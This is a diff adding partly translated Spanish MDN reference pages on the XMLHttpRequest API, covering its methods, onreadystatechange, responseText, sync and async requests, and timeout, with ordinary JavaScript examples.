+<h6 id="Parámetros_2">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h6 id="Valor_devuelto">Valor devuelto</h6>
+
+<p>El texto de todos los encabezados de respuesta, o <code>null</code> si no se ha recibido ninguna respuesta.</p>
+
+<h3 id="getResponseHeader()">getResponseHeader()</h3>
+
+<p>Devuelve el texto de un encabezado específico.</p>
+
+<pre>ACString getResponseHeader(
+ in AUTF8String header
+);
+</pre>
+
+<h6 id="Parámetros_3">Parámetros</h6>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>El nombre del encabezado buscado.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>Una cadena que contiene el texto de un encabezado específico, o <code>null</code> tanto si la respuesta no se ha recibido o el encabezado no existe en la respuesta.</p>
+
+<h3 id="init()">init()</h3>
+
+<p>Inicializa el objeto para que sea usado desde código C++.</p>
+
+<div class="warning"><strong>Aviso:</strong> Este método <em>no</em> debe ser llamado desde JavaScript.</div>
+
+<pre>[noscript] void init(
+ in nsIPrincipal principal,
+ in nsIScriptContext scriptContext,
+ in nsPIDOMWindow ownerWindow
+);
+</pre>
+
+<h6 id="Parámetros_4">Parámetros</h6>
+
+<dl>
+ <dt><code>principal</code></dt>
+ <dd>El principal para usar en el pedido; no debe ser <code>null</code>.</dd>
+ <dt><code>scriptContext</code></dt>
+ <dd>El contexto del programa que usará en el pedido; no debe ser <code>null</code>.</dd>
+ <dt><code>ownerWindow</code></dt>
+ <dd>La ventana asociada con el pedido; puede ser <code>null</code>.</dd>
+</dl>
+
+<h3 id="open()">open()</h3>
+
+<p>Inicializa el pedido. Este método es para ser usado desde código JavaScript, para inicializar un pedido desde código nativo, debes usar <a class="internal" href="/en/XMLHttpRequest#openRequest()" title="/en/XMLHttpRequest#openRequest()"><code>openRequest()</code></a>.</p>
+
+<div class="note"><strong>Nota:</strong> Llamar a este método en un pedido activo (uno para el cual <code>open()</code> o <code>openRequest()</code> ya han sido llamados) es equivalente a usar <code>abort()</code>.</div>
+
+<pre>void open(
+ in AUTF8String method,
+ in AUTF8String url,
+ [optional] in boolean async,
+ [optional] in AString user,
+ [optional] in AString password
+);
+</pre>
+
+<h6 id="Parámetros_5">Parámetros</h6>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>El método HTTP a usar: tanto "POST" o "GET". Se ignora para urls que no son de HTTP.</dd>
+ <dt><code>url</code></dt>
+ <dd>La URL a la que se envía el pedido.</dd>
+ <dt><code>async</code></dt>
+ <dd><span id="result_box" lang="es"><span>Un parámetro booleano opcional, predeterminado es <code>true</code>, que indica si se debe o no realizar la operación de forma asíncrona.</span> <span>Si este valor es <code>false</code>, el método <code>send()</code> no se devuelve hasta que se reciba la respuesta completa.</span> <span>Si es <code>true</code>, la notificación de una transacción completada se proporciona mediante los oyentes de eventos.</span> <span>Esto debe ser <code>true</code> si el atributo <code>multipart</code> es verdadero o se lanzará una excepción.</span></span></dd>
+ <dt><code>user</code></dt>
+ <dd><span id="result_box" lang="es"><span>El nombre de usuario es opcional solo es usado con fines de autenticación,</span> <span>de forma predeterminada es una cadena vacía.</span></span></dd>
+ <dt><code>password</code></dt>
+ <dd><span id="result_box" lang="es"><span>La contraseña es opcional solo es usado con fines de autenticación,</span> <span>de forma predeterminada es una cadena vacía.</span></span></dd>
+</dl>
+
+<h3 id="openRequest()">openRequest()</h3>
+
+<p>Inicia la peticion, este metodo est</p>
+
+<p><span id="result_box" lang="es"><span>Inicializa la peticion.</span> <span>Este método se utiliza desde el código nativo,</span> <span>para inicializar una solicitud desde el código JavaScript, utilice <code>open ()</code> en su lugar.</span></span></p>
+
+<div class="note"><strong>Nota:</strong> Calling this method an already active request (one for which <code>open()</code>or <code>openRequest()</code>has already been called) is the equivalent of calling <code>abort()</code>.</div>
+
+<pre>void open(
+ in AUTF8String method,
+ in AUTF8String url,
+ in boolean async,
+ in AString user,
+ in AString password
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>The HTTPmethod to use; either "POST"or "GET". Ignored for non-HTTPURLs.</dd>
+ <dt><code>url</code></dt>
+ <dd>The URLto which to send the request.</dd>
+ <dt><code>async</code></dt>
+ <dd>An optional boolean parameter, defaulting to <code>true</code>, indicating whether or not to perform the operation asynchronously. If this value is <code>false</code>, the <code>send()</code>method does not return until the response is received. If <code>true</code>, notification of a completed transaction is provided using event listeners. This <em>must</em> be true if the <code>multipart</code> attribute is <code>true</code>, or an exception will be thrown.</dd>
+ <dt><code>user</code></dt>
+ <dd>The optional user name to use for authentication purposes; by default, this is an empty string.</dd>
+ <dt><code>password</code></dt>
+ <dd>The optional password to use for authentication purposes; by default, this is an empty string.</dd>
+</dl>
+
+<h3 id="overrideMimeType()">overrideMimeType()</h3>
+
+<p>Overrides the MIMEtype returned by the server.</p>
+
+<div class="note"><strong>Note:</strong> This method must be called before <code>send()</code>.</div>
+
+<pre>void overrideMimeType(
+ in AUTF8String mimetype
+);
+</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>mimetype</code></dt>
+ <dd>The type that should be used instead of the one returned by the server, if any.</dd>
+</dl>
+
+<h3 id="send()">send()</h3>
+
+<p>Sends the request. If the request is asynchronous (which is the default), this method returns as soon as the request is sent. If the request is synchronous, this method doesn't return until the response has arrived.</p>
+
+<div class="note"><strong>Note:</strong> Any event listeners you wish to set must be set before calling <code>send()</code>.</div>
+
+<pre>void send(
+ [optional] in nsIVariant body
+);
+</pre>
+
+<h6 id="Parameters_3">Parameters</h6>
+
+<dl>
+ <dt><code>body</code></dt>
+ <dd>This may be an <code>nsIDocument</code>, <code>nsIInputStream</code>, or a string (an <code>nsISupportsString</code> if called from native code) that is used to populate the body of a POST request. Starting with Gecko 1.9.2, you may also specify an DOM{{ domxref("File") }} , and starting with Gecko 2.0 {{ geckoRelease("2.0") }} you may also specify a <a href="/en/XMLHttpRequest/FormData" title="en/XMLHttpRequest/FormData"><code>FormData</code></a> object.</dd>
+</dl>
+
+<h6 id="Notes">Notes</h6>
+
+<p>If the body is an <code>nsIDOMDocument</code>, it is serialized before being sent.</p>
+
+<p>If it's an <code>nsIInputStream</code>, it must be compatible with <code>nsIUploadChannel</code>'s <code>setUploadStream()</code>method. In that case, a Content-Length header is added to the request, with its value obtained using <code>nsIInputStream</code>'s <code>available()</code>method. Any headers included at the top of the stream are treated as part of the message body. The stream's MIMEtype should be specified by setting the Content-Type header using the <a class="internal" href="/en/XMLHttpRequest#setRequestHeader()" title="/en/XMLHttpRequest#setRequestHeader()"><code>setRequestHeader()</code></a>method prior to calling <code>send()</code>.</p>
+
+<h3 id="sendAsBinary()">sendAsBinary()</h3>
+
+<p>A variant of the <code>send()</code>method that sends binary data.</p>
+
+<pre>void sendAsBinary(
+ in DOMString body
+);
+</pre>
+
+<h6 id="Parameters_4">Parameters</h6>
+
+<dl>
+ <dt><code>body</code></dt>
+ <dd>The request body as a DOMstring. This data is converted to a string of single-byte characters by truncation (removing the high-order byte of each character).</dd>
+</dl>
+
+<h3 id="setRequestHeader()">setRequestHeader()</h3>
+
+<p>Sets the value of an HTTPrequest header.</p>
+
+<div class="note"><strong>Note:</strong> You must call <a class="internal" href="/en/XMLHttpRequest#open()" title="/en/XMLHttpRequest#open()"><code>open()</code></a>before using this method.</div>
+
+<pre>void setRequestHeader(
+ in AUTF8String header,
+ in AUTF8String value
+);
+</pre>
+
+<h6 id="Parameters_5">Parameters</h6>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>The name of the header whose value is to be set.</dd>
+ <dt><code>value</code></dt>
+ <dd>The value to set as the body of the header.</dd>
+</dl>
+
+<h2 id="Implementation_notes">Implementation notes</h2>
+
+<p><code>XMLHttpRequest</code> is implemented in Gecko using the {{ interface("nsIJSXMLHttpRequest") }} and {{ interface("nsIXMLHttpRequest") }} interfaces.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/En/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/XMLHttpRequest/FormData" title="en/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+ <li><a href="/en/AJAX/Getting_Started" title="en/AJAX/Getting_Started">MDC AJAX introduction</a></li>
+ <li><a class="external" href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a class="external" href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a class="external" href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Working Draft</a></li>
+</ul>
+
+<p>{{ languages( { "es": "es/XMLHttpRequest", "fr": "fr/XMLHttpRequest", "it": "it/XMLHttpRequest", "ja": "ja/XMLHttpRequest", "ko": "ko/XMLHttpRequest", "pl": "pl/XMLHttpRequest", "zh-cn": "cn/XMLHttpRequest" } ) }}</p>
diff --git a/files/es/web/api/xmlhttprequest/onreadystatechange/index.html b/files/es/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..7f35ad3e88
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,109 @@
+---
+title: XMLHttpRequest.onreadystatechange
+slug: Web/API/XMLHttpRequest/onreadystatechange
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
+<p>Un <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>EventHandler</code></a> que es invocado cada vez que cambia el atributo <code>readyState</code>. La retrollamada (callback) es invocada desde el hilo (thread) perteneciente a la interfaz de usuario. La propiedad <strong><code>XMLHttpRequest.onreadystatechange</code></strong> contiene el manejador del evento que es invocado cuando se dispara el evento {{event("readystatechange")}}, lo cual sucede cada vez que cambia el valor de la propiedad {{domxref("XMLHttpRequest.readyState", "readyState")}} de {{domxref("XMLHttpRequest")}}. La retrollamada (callback) es invocada desde el hilo perteneciente a la interfaz de usuario.</p>
+
+<div class="warning">
+<p><strong>Aviso:</strong> No debería ser usado con peticiones síncronas ni tampoco en código nativo.</p>
+</div>
+
+<p>El evento <code>readystatechange</code> no se disparará cuando una petición <code>XMLHttpRequest</code> sea cancelada mediante el método <a href="/en-US/docs/Web/API/XMLHttpRequest/abort">abort()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<ul>
+ <li><code><em>callback</em></code> es la función de retrollamada que será ejecutada (invocada) cuando cambie el valor de la propiedad <code>readyState</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+        if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
+            console.log(xhr.responseText);
+        }
+    };
+xhr.send();</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores_Web">Compatibilidad con navegadores Web</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(1.2)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Las versiones 5 y 6 admiten llamadas AJAX usando <code>ActiveXObject()</code>.</p>
diff --git a/files/es/web/api/xmlhttprequest/responsetext/index.html b/files/es/web/api/xmlhttprequest/responsetext/index.html
new file mode 100644
index 0000000000..d119565243
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/responsetext/index.html
@@ -0,0 +1,104 @@
+---
+title: XMLHttpRequest.responseText
+slug: Web/API/XMLHttpRequest/responseText
+translation_of: Web/API/XMLHttpRequest/responseText
+---
+<div>{{draft}}</div>
+
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La propiedad <strong><code>XMLHttpRequest.responseText</code></strong>  devuelve un <strong><code>DOMString</code></strong> que contiene la  respuesta a la consulta como un texto o null si la consulta  no tuvo exito o  aun no ha sido completada. la propiedad <strong><code>responseText</code> </strong> tendra una respuesta parcial como retorno aunque la consulta no haya sido  completada. si <strong>responseType</strong> contiene algo que no sea un string vacio o un "text", el acceso a <strong>responseText</strong> sera <strong>throw <code>InvalidStateError</code> exception</strong>.</p>
+
+<h2 id="Ejemplo._Lanza_una_excepción_InvalidStateError">Ejemplo. Lanza  una excepción <strong><code>InvalidStateError</code></strong></h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// If specified, responseType must be empty string or "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Anteriores a  IE 10, El valo de  XMLHttpRequest.responseText debe ser leido una vez que la consulta fuera completada.</p>
diff --git a/files/es/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/es/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..28675abd79
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,232 @@
+---
+title: Solicitudes síncronas y asíncronas
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p><code>XMLHttpRequest</code> soporta solicitudes síncronas y asíncronas, pero la mas preferida es la asíncrona por razones de rendimiento</p>
+
+<p><span id="result_box" lang="es"><span>Las solicitudes síncronas bloquean la ejecución del código, mientras se procesa la solicitud, dejando a la pantalla congelada y dando una experiencia de usuario poco agradable</span></span></p>
+
+<h2 id="Peticiones_asíncronas">Peticiones asíncronas</h2>
+
+<p><span id="result_box" lang="es"><span>Si se utiliza <code>XMLHttpRequest</code> de forma asíncrona, recibirá una devolución de llamada cuando los datos se hayan recibido .</span> <span>Esto permite que el navegador continúe funcionando de forma normal mientras se procesa la solicitud.</span></span></p>
+
+<h3 id="Ejemplo_Enviar_un_archivo_a_la_consola"><span id="result_box" lang="es"><span>Ejemplo: Enviar un archivo a la consola</span></span></h3>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Este es el uso más simple de la asíncronia </span></span><code>XMLHttpRequest</code>.</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>En la linea 2, el ultimo parametro de <code>open()</code> , especifica <code>true</code> para indicar que la solicitud se tratara de forma asíncrona</p>
+
+<p>Line 3 creates an event handler function object and assigns it to the request's <code>onload</code> attribute.  This handler looks at the request's <code>readyState</code> to see if the transaction is complete in line 4, and if it is, and the HTTP status is 200, dumps the received content.  If an error occurred, an error message is displayed.</p>
+
+<p>Line 15 actually initiates the request.  The callback routine is called whenever the state of the request changes.</p>
+
+<h3 id="Ejemplo_Creando_una_funcion_estandar_para_leer_archivos_externos.">Ejemplo: Creando una funcion estandar para leer archivos externos.</h3>
+
+<p>In some cases you must read many external files. This is a standard function which uses the <code>XMLHttpRequest</code> object asynchronously in order to switch the content of the read file to a specified listener.</p>
+
+<pre class="brush: js">function xhrSuccess () { this.callback.apply(this, this.arguments); }
+
+function xhrError () { console.error(this.statusText); }
+
+function loadFile (sURL, fCallback /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oReq = new XMLHttpRequest();
+  oReq.callback = fCallback;
+  oReq.arguments = Array.prototype.slice.call(arguments, 2);
+  oReq.onload = xhrSuccess;
+  oReq.onerror = xhrError;
+  oReq.open("get", sURL, true);
+  oReq.send(null);
+}
+</pre>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (sMsg) {
+  alert(sMsg + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>The signature of the utility function <em><strong>loadFile</strong></em> declares (i) a target URL to read (via HTTP GET), (ii) a function to execute on successful completion of the XHR operation, and (iii) an arbitrary list of additional arguments that are "passed through" the XHR object to the success callback function.</p>
+
+<p>Line 1 declares a function invoked when the XHR operation completes successfully.  It, in turn, invokes the callback function specified in the invocation of the loadFile function (in this case, the function showMessage) which has been assigned to a property of the XHR object (Line 7). The additional arguments (if any) supplied to the invocation of function loadFile are "applied" to the running of the callback function.</p>
+
+<p>Line 3 declares a function invoked when the XHR operation fails to complete successfully.</p>
+
+<p>Line 7 stores on the XHR object the success callback function given as the second argument to loadFile.</p>
+
+<p>Line 8 slices the arguments array given to the invocation of loadFile. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable oReq, passed to the success callback function xhrSuccess., and ultimately supplied to the callback function (in this case, showMessage) which is invoked by function xhrSuccess.</p>
+
+<p>Line 9 designates the function xhrSuccess as the callback to be invoked when the onload event fires, that is, when the XHR sucessfully completes.  </p>
+
+<p>Line 10 designates the function xhrError as the callback to be invoked when the XHR requests fails to complete.</p>
+
+<p>Line 11 specifies <code>true</code> for its third parameter to indicate that the request should be handled asynchronously.</p>
+
+<p>Line 12 actually initiates the request.</p>
+
+<h3 id="Example_using_a_timeout">Example: using a timeout</h3>
+
+<p>You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the <code>timeout</code> property on the <code>XMLHttpRequest</code> object, as shown in the code below:</p>
+
+<pre class="brush: js">function loadFile(sUrl, timeout, callback){
+
+    var args = arguments.slice(3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}</pre>
+
+<p>Notice the addition of code to handle the "timeout" event by setting the <code>ontimeout</code> handler.</p>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (sMsg) {
+  alert(sMsg + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>Here, we're specifying a timeout of 2000 ms.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Support for <code>timeout</code> was added in {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>In rare cases, the use of a synchronous method is preferable to an asynchronous one.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request.  The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed.  If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en/DOM/Worker" title="/en/DOM/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en/DOM/XMLHttpRequest" title="/en/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en/DOM/Worker" title="/en/DOM/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in background with the server or to preload some content. See <a class="internal" href="/En/DOM/Using_web_workers" title="en/Using DOM workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Adapting_Sync_XHR_usecases_to_the_Beacon_API">Adapting Sync XHR usecases to the Beacon API</h3>
+
+<p>There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the <a class="internal" href="/en/DOM/window.onunload" title="en/DOM/window.onunload"><code>window.onunload</code></a> and <a class="internal" href="/en/DOM/window.onbeforeunload" title="en/DOM/window.onbeforeunload"><code>window.onbeforeunload</code></a> events.  The <a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a> API can support these usecases typically while delivering a good UX.</p>
+
+<p><span>The following example (from the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">sendBeacon docs</a>) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unload of the page to be delayed.</span></p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+</pre>
+
+<p>Using the <strong><code>sendBeacon()</code></strong> method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, <strong>without delaying the unload or affecting the performance of the next navigation.</strong></p>
+
+<p>The following example shows a theoretical analytics code pattern that submits data to a server using the by using the <strong><code>sendBeacon()</code></strong> method.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest" title="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest" title="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a></li>
+ <li><code><a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a></code></li>
+</ul>
+
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" } ) }}</p>
diff --git a/files/es/web/api/xmlhttprequest/timeout/index.html b/files/es/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..a9fec94792
--- /dev/null
+++ b/files/es/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,67 @@
+---
+title: XMLHttpRequest.timeout
+slug: Web/API/XMLHttpRequest/timeout
+tags:
+  - AJAX
+  - Propiedad
+  - Referencia
+  - XHR
+  - XHR asincrónico
+  - XMLHttpRequest
+  - XMLHttpRequest asincrónico
+  - tiempo de espera
+  - timeout
+translation_of: Web/API/XMLHttpRequest/timeout
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La propiedad <code><strong>XMLHttpRequest.timeout</strong></code> es un <code>unsigned long</code> que representa el número de milisegundos que puede tomar una solicitud antes de que se finalice automáticamente. El valor por defecto es 0, lo que significa que no hay tiempo de espera (<em>timeout</em>). <em>Timeout</em> no debe utilizarse para solicitudes XMLHttpRequests sincrónicas usadas en un {{Glossary('document environment')}}, pues generará una excepción <code>InvalidAccessError</code>. Cuando ocurre un tiempo de espera, se dispara un evento <a href="/en-US/docs/Web/Events/timeout">timeout</a>. {{gecko_minversion_inline("12.0")}}</p>
+
+<dl>
+ <dd>
+ <div class="note"><strong>Nota:</strong> No puede usar un <em>timeout</em> para solicitudes sincrónicas con una ventana propietaria (<em>owning window</em>).</div>
+ </dd>
+ <dd><a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests#Example_using_a_timeout">Uso de <em>timeout</em> con una solicitud asincrónica</a></dd>
+</dl>
+
+<p>En Internet Explorer, la propiedad <em>timeout</em> se puede establecer solo después de llamar al método <a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a> y antes de llamar al método <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // tiempo en milisegundos
+
